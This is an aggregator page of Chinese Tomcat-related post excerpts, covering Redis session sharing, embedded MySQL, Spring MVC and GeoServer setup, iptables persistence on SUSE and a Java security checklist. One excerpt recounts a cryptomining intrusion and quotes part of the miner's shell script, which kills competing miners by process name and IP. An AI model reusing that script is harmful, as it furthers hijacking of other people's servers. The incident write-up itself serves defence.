Tomcat

SpringBoot 一个依赖搞定 session 共享,没有比这更简单的方案了!

对着背影说爱祢 提交于 2020-10-08 05:24:54
云栖号资讯:【 点击查看更多行业资讯 】 在这里您可以找到不同行业的第一手的上云资讯,还在等什么,快来! 有的人可能会觉得题目有点夸张,其实不夸张,题目没有使用任何修辞手法!认真读完本文,你就知道我说的是对的了! 在传统的单服务架构中,一般来说,只有一个服务器,那么不存在 Session 共享问题,但是在分布式/集群项目中,Session 共享则是一个必须面对的问题,先看一个简单的架构图: 在这样的架构中,会出现一些单服务中不存在的问题,例如客户端发起一个请求,这个请求到达 Nginx 上之后,被 Nginx 转发到 Tomcat A 上,然后在 Tomcat A 上往 session 中保存了一份数据,下次又来一个请求,这个请求被转发到 Tomcat B 上,此时再去 Session 中获取数据,发现没有之前的数据。对于这一类问题的解决,思路很简单,就是将各个服务之间需要共享的数据,保存到一个公共的地方(主流方案就是 Redis). 当所有 Tomcat 需要往 Session 中写数据时,都往 Redis 中写,当所有 Tomcat 需要读数据时,都从 Redis 中读。这样,不同的服务就可以使用相同的 Session 数据了。 这样的方案,可以由开发者手动实现,即手动往 Redis 中存储数据,手动从 Redis 中读取数据,相当于使用一些 Redis

免安装,还原生产环境,运行中切换版本,这不是我认识的MySQL

一曲冷凌霜 提交于 2020-10-07 09:20:55
MySQL,用了好多年了吧,在你印象里是不是一直都是四平八稳,做为一个基础组件,也不期待啥了。 如果说想线下调度,集成测试,想用一个内存数据库,你可能会说那H2, Derby吧,不都可以嘛。 但差别是你在自己线下时跑了多少不说,但不同的数据库,不同的特性,可能有些地方无法真正还原线上。为什么不安装一个?费事,哈哈。 今天咱们介绍的这位,可以理解为嵌入MySQL,免安装。不同的测试时还可以切换不同的版本,Cool。 使用起来也不费劲,加个 Maven 依赖就行,分分钟的事儿。 就是它: <dependency> <groupId>com.wix</groupId> <artifactId>wix-embedded-mysql</artifactId> <version>x.y.z</version> <scope>test</scope> </dependency> 代码也简单,直接定义你需要的版本,数据库信息,把要初始化的SQL 给它,走起。 MysqldConfig config = aMysqldConfig(v5_6_23) //这里是版本 .withCharset(UTF8) .withPort(2215) .withUser("user1", "pwd2") .withTimeZone("Europe/Vilnius") .withTimeout(2, TimeUnit

Intellij IDEA创建spring MVC项目

浪尽此生 提交于 2020-10-07 07:51:49
相信各位未来的Java工程师已经接触到了spring MVC这个框架的强大之处,看了很多的教程,都是eclipse的,在intellij IDEA这个强大的工具面前居然不能很顺畅的,今天我就带领大家用IDEA创建Hello World程序。 注: 1、本文只讲解怎么用intellij IDEA进行创建spring MVC项目,并不会讲解具体的spring MVC框架基础,如需了解框架原理,请移步其他教程。 2、本文是我在刚学习Spring MVC框架中,看了很多的教程,经过了前前后后很多的坑点进行编写,不足之处,多多指点,谢谢 环境: intellij IDEA 2017 CI JDK 1.8 tomcat 8.5.23 具体步骤 1、新建项目 勾选Spring MVC 、Web Application(勾选了Spring MVC后IDEA默认会勾选Web Application),Next 2、填写项目名、项目路径 这里项目名我用简单的springmvcdemo,路径就使用默认路径,Finish 3、创建文件夹如图 classes、lib文件夹我建议和我文件夹名相同(只是建议)、路径我建议也相同,其他两个文件夹看个人爱好哈。 4、导入相关jar包(IDEA自动导入) 在IDEA中其实已经给我们自动导入了相关jar,只不过我们需要在WEB-INF目录下导入相关jar包

geoserver系列(一)tomcat安装及geoserver安装

微笑、不失礼 提交于 2020-10-07 06:53:38
由于项目的需要,最近一直使用geoserver作为基础的地图数据服务,查找过很多的资料,也走过很多的弯路,现在想对之前所踩过的坑和一些基本操作做一个geoserver系列的总结。 目前,我所使用的是tomcat+geoserver的形式进行基础服务的配置,tomcat使用的是zip版本,geoserver使用的是war包的版本,相对来说这两者搭配起来比较简单。 一、内容概述 本篇博文是geoserver系列的第一篇,主要简述tomcat和geoserver的安装。 二、tomcat安装 1、下载tomcat tomcat官网地址是: https://tomcat.apache.org ,打开网址后根据自己电脑的配置下载相应的版本,我选择的是tomcat8, window64位的zip包 。 选择tomcat8 选择 window64位的zip包 2、解压tomcat 将下载完成的zip压缩包进行解压, 解压到指定的文件夹。 3、配置环境变量 1)在电脑—开始—计算机,点计算机右键打开属性。 2)点击 高级系统设置 进行环境变量设置。 3)在弹出框选择 环境变量 4)配置CATALINA_HOME变量 变量名位置输入CATALINA_HOME,变量值数据刚刚解压的文件位置,到根目录级别就够了,不需要到bin目录,我所使用的目录是E:\bg\apache-tomcat-8.5.57 5

SUSE 11 SP4 iptables 保存

痞子三分冷 提交于 2020-10-07 05:30:47
SUSE 11 SP4 iptables 保存 以及普通用户启动tomcat iptables-save >/root/iptables.save vim /etc/init.d/boot.local iptables-restore /root/iptables.save su - ${user} -c "cd apache-tomcat-8.5.51 && ./bin/startup.sh" chmod +x /etc/init.d/boot.local suse 开机以普通用户启动tomcat,这里需要 注意的suse 11下的 /etc/init.d/boot.local 文件相当于redhat或者centos下的 /etc/rc.d/rc.local 例如 iptables-save 内容如下: mart:~ # iptables-save # Generated by iptables-save v1.4.16.3 on Mon Aug 3 16:46:09 2020 *filter :INPUT DROP [678:290856] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [619:855502] -A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT -A INPUT -p tcp -m tcp -

服务器被植入木马,CPU飙升200%

不问归期 提交于 2020-10-07 04:06:43
作者:我叫刘半仙 https://my.oschina.net/liughDevelop/blog/1786631 线上服务器用的是某云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来: 网站不能访问了! 此项目是我负责,我以150+的手速立即打开了服务器,看到Tomcat挂了,然后顺其自然的重启,启动过程中直接被killed,再试试数据库,同样没成功 多次尝试甚至重启机器无果。机智的我打了个top,出现以下内容: 这是谁运行的程序? 不管三七二十一先杀掉再说,因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用,过一会再看那个东西又跑出来占cpu。推荐阅读: Linux 最常用命令整理,建议收藏 。 怀疑是个定时任务: 什么鬼,是个图片?立即访问了一下: 好尴尬,但是心思细腻的我早知道没这么简单,肯定只是伪装,curl过去是下面的脚本,过程就是在挖矿: #!/bin/sh pkill -9 142.4.124.164 pkill -9 192.99.56.117 pkill -9 jva pkill -f ./atd pkill -f /tmp/wa/httpd.conf pkill -f 108.61.186.224 pkill -f 128.199.86.57 pkill -f 67.231.243.10

01 . 中小企业到亿级流量架构演进过程

≡放荡痞女 提交于 2020-10-07 03:58:37
目前中小企业架构设计存在哪些问题? # 1. 通病: 企业组织管理混乱 # 原因: 没有完善的企业组织架构(分工和责任不明确) # 2. 部门协同差劲 # 原因: 企业没有规范的管理流程,部门之间沟通机会少,企业文化融合氛围不浓等等造成的. # 3. 组织效率低 # 原因: 多方协同出现了问题 1 . 战略方向不明确,组织缺乏前瞻性 # 务实,务虚 # 初心: 解决这个社会的问题,解决某个行业的痛点,我希望来做的更好 # 使命,价值观 # 拷克: 业绩和价值观五五开 2 . 部门职责不清晰,重置和空白 3 . 管理层级多,管理角色错位 # 扁平化 # 事业部 # 阿米巴 4 . 企业内部体系不完整,责权不统一 权 责 利 5 . 部门协同差,组织效率低 中小企业IT系统架构面临的问题 # 当业务发生变化,不断的在原有系统上打补丁 # 当业务发展时,系统不断出现瓶颈 # 卡顿,数据库经常锁死 # 用户网站打不开,白屏 # 流量一上来就容易挂 技术团队的现状 # 技术团队人数不超过50人 # 服务器数量: 10-50台 # 宽带: 100M 中小企业从零开始目前项目开发现状: # 应用系统开发 # 前端开发: Vue.js,bootstrap # SSM: SpringMVC,SpringBoot,MyBatis # Tomcat # 数据库开发: # Mysql: CRUD # 测试

处理“ java.lang.OutOfMemoryError:PermGen空间”错误

落爺英雄遲暮 提交于 2020-10-07 00:50:12
问题: Recently I ran into this error in my web application: 最近,我在Web应用程序中遇到此错误: java.lang.OutOfMemoryError: PermGen space java.lang.OutOfMemoryError:PermGen空间 It's a typical Hibernate/JPA + IceFaces/JSF application running on Tomcat 6 and JDK 1.6. 这是在Tomcat 6和JDK 1.6上运行的典型Hibernate / JPA + IceFaces / JSF应用程序。 Apparently this can occur after redeploying an application a few times. 显然,这可能是在重新部署应用程序几次之后发生的。 What causes it and what can be done to avoid it? 是什么原因引起的,可以采取什么措施避免它发生? How do I fix the problem? 我该如何解决该问题? 解决方案: 参考一: https://stackoom.com/question/Mx9/处理-java-lang-OutOfMemoryError-PermGen空间

java开发安全策略_风险漏洞与解决方案

自闭症网瘾萝莉.ら 提交于 2020-10-06 06:48:50
项目语言:java 项目环境:JDK1.8 Web服务器Nginx+tomcat 数据库mysql 前端技术bootstrap+layui+jquery+ajax 后端技术maven+springboot+shiro+jpa+druid+log4j 1、 敏感信息泄露 a) 漏洞描述:敏感信息泄露漏洞,是一种通过提交错误请求,使系统出现异常处理并报错,并且将系统程序、配置、路径、类、方法 等敏感信息泄露出来的漏洞。 b) 解决方案:创建统一错误页面,在后端将异常进行拦截处理,将错误信息存储到日志中,并返回对应的错误描述或状态码。 2、 用户密码未加密传输 a) 漏洞描述:用户登录时,密码进行明码传输,导致请求被拦截获取账号信息。 b) 解决方案:使用不可逆的加密算法,采取salt(盐)+用户名+密码进行加密的方式,由前端加密后传输到后端进行身份认证。 3、 SQL注入 a) 漏洞描述:通过在string(字符串)类型的字段中,输入敏感SQL语句,进行免密登录或越权操作。 b) 解决方案:对输入信息进行敏感字符拦截,并在后端开发中使用对象SQL注入方式进行数据库访问,避免使用SQL拼接的形式进行数据库访问。 4、 越权敏感信息修改 a) 漏洞描述:修改信息时,仅根据id参数进行操作,存在越权修改任意数据问题。 b) 解决方案:后端使用session机制